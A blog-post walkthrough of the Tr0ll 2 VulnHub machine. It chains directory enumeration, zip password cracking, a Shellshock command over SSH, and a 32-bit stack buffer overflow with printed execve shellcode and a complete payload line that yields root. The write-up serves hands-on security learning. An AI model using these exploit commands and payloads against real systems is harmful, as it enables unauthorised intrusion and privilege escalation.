Sitemap

Tr0ll 2: From Shellshock to Stack-Based Buffer Overflow — A Detailed Walkthrough

5 min read1 day ago

--

Target: Tr0ll 2 (VulnHub/CTF)
Difficulty: Intermediate
Key Vulnerabilities: Directory Traversal, Shellshock (CVE-2014–6271), Stack-Based Buffer Overflow

In this walkthrough, we will explore the exploitation chain of the Tr0ll 2 machine. We will start with basic reconnaissance, leverage a cleverly hidden credential to gain initial access via a Shellshock vulnerability, and finally, dive deep into manual stack-based buffer overflow exploitation to achieve root privileges.

🔍 Phase 1: Reconnaissance & Enumeration

We begin with a standard Nmap scan to identify open ports and running services.

PORT   STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

Service Info: Host: Tr0ll; OS: Linux

With port 80 open, the first step is to check the web server. A quick look at robots.txt reveals a massive list of disallowed directories, clearly designed to frustrate manual enumeration:

User-agent:*
Disallow:
/noob
/nope
/try_harder
/keep_trying
...
/seriously_stop

Instead of checking these manually, we save the paths to paths.txt and use dirb to filter out the ones that actually return a response:

Dirb Results:

+ http://192.168.1.46/noob (CODE:301|SIZE:311)                                
+ http://192.168.1.46/keep_trying (CODE:301|SIZE:318)
+ http://192.168.1.46/dont_bother (CODE:301|SIZE:318)
+ http://192.168.1.46/ok_this_is_it (CODE:301|SIZE:320)

Investigating the /dont_bother directory, we find an image. Running the strings command on it reveals a hidden clue:

Look Deep within y0ur_self for the answer

Following the hint, we navigate to /y0ur_self and discover an answer.txt file containing a large block of Base64-encoded text.

Phase 2: Initial Foothold

We decode the Base64 text to reveal potential credentials:

base64 -d base64.txt > decode.txt
cat decode.txt

Using the decoded credentials, we log into the FTP service. Inside, we find a password-protected archive named lmao.zip. We download it and use fcrackzip to brute-force the password:

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt lmao.zip

Once cracked, we extract the archive to find an SSH private key. The key is named noob.

Exploiting Shellshock (CVE-2014–6271)

Attempting a standard SSH login fails, but the OpenSSH version is vulnerable to Shellshock. This vulnerability affects GNU Bash and allows remote code execution when untrusted environment variables are passed to a vulnerable Bash interpreter.
The flaw occurs because GNU Bash fails to stop parsing text after processing a function definition in an environment variable (using the syntax () { :; };). Any code placed immediately after that string is executed by the shell.
We can weaponize this directly through the SSH command:

ssh -t -i noob noob@192.168.1.36 -o PubkeyAcceptedKeyTypes=+ssh-rsa '() { :;}; /bin/bash'

Boom! We now have a stable shell as the user noob.

Phase 3: Privilege Escalation via Buffer Overflow

With user access secured, we search for SUID binaries owned by root:

find / -user root -perm /4000 2>/dev/null

We discover a suspicious directory structure:

/nothing_to_see_here/choose_wisely/door1/r00t
/nothing_to_see_here/choose_wisely/door2/r00t
/nothing_to_see_here/choose_wisely/door3/r00t

Testing door2/r00t reveals it requires an input argument. Testing door1/r00t in gdb confirms it is vulnerable to a Stack-Based Buffer Overflow.

The Theory: Understanding the Stack

Before we exploit it, let’s briefly review how this works:
A buffer overflow occurs when a program writes more data to a buffer (local variable) than it was allocated to hold. Because the stack grows downwards in memory, overflowing a local buffer allows us to overwrite adjacent memory: first the Saved EBP, and critically, the Return Address.
When a function is called, a new “stack frame” is created containing:

Get Muhammed Irfan’s stories in your inbox

Join Medium for free to get updates from this writer.

Function Arguments
Local Variables (where our vulnerable buffer lives)
Saved EBP (Base Pointer)
Return Address (where the program should go after the function finishes)

The EIP (Instruction Pointer) register always points to the next instruction the CPU should execute. When a function finishes, it uses the ret instruction, which pops the Return Address off the stack and loads it into EIP. If we control the Return Address, we control EIP, allowing us to hijack execution flow and force the program to run our malicious shellcode.

What is a NOP Sled?
NOP stands for No-Operation. In x86 assembly, it is represented by the hex byte \x90. When the CPU encounters it, it does nothing except move to the next instruction.
Even with a precise return address, the stack can shift slightly due to environment variables. By placing a sequence of NOPs (\x90\x90\x90…) right before our shellcode, we create a “landing zone.” If the CPU jumps anywhere into this sled, it will harmlessly “slide” down until it hits our actual shellcode, drastically increasing the exploit’s reliability.

⚙️ Step-by-Step Exploitation

Step 1: Generating a Cyclic Pattern
Instead of guessing with “A”s, we generate a unique De Bruijn sequence using Metasploit to pinpoint the exact crash location.

msf-pattern_create -l 300
# Output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1...
Press enter or click to view image in full size

Step 2: Catching the Crash in GDB
We load the binary into GDB and run it with the pattern as an argument:

gdb ./r00t
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

The program receives a SIGSEGV (Segmentation fault). We check the registers:

(gdb) i r
esp 0xbffffb50 0xbffffb50
eip 0x6a413969 0x6a413969

We now know the stack pointer (ESP) is at 0xbffffb50, and EIP was overwritten with 0x6a413969.

Press enter or click to view image in full size

Step 3: Calculating the Exact Offset
We feed the overwritten EIP value back into Metasploit to find the exact byte offset:

msf-pattern_offset -l 300 -q 0x6a413969
# [*] Exact match at offset 268

We need exactly 268 bytes to reach and overwrite the Return Address (EIP).

Step 4: Crafting the Payload
We need a 32-bit Linux shellcode (since the stack address 0xbffffb50 indicates a 32-bit environment). A classic execve(“/bin/sh”) shellcode will do:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
Press enter or click to view image in full size

Now, we construct the payload to perfectly hit the 268-byte offset:

NOP Sled: 200 bytes (\x90 * 200)
Shellcode: 23 bytes
Padding: 45 bytes of “A” to reach the exact 268-byte mark. (200 + 23 + 45 = 268)
Return Address: \x50\xfb\xff\xbf (Little-endian representation of our observed ESP address 0xbffffb50).

Phase 4: Root Access

We execute the final crafted payload directly in the terminal:

./r00t $(python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*45 + "\x50\xfb\xff\xbf"')

Instead of a segmentation fault, we are greeted with a root shell!

# id
uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)

# whoami
root

We navigate to the root directory to claim our prize:

cd /root
cat Proof.txt

Output

You win this time young Jedi...
a70354f0258dcc00292c72aab3c8b1e4

Thanks for reading, and happy hacking!

--

--

Muhammed Irfan
Muhammed Irfan

Written by Muhammed Irfan

Enthusiastic in Cyber Security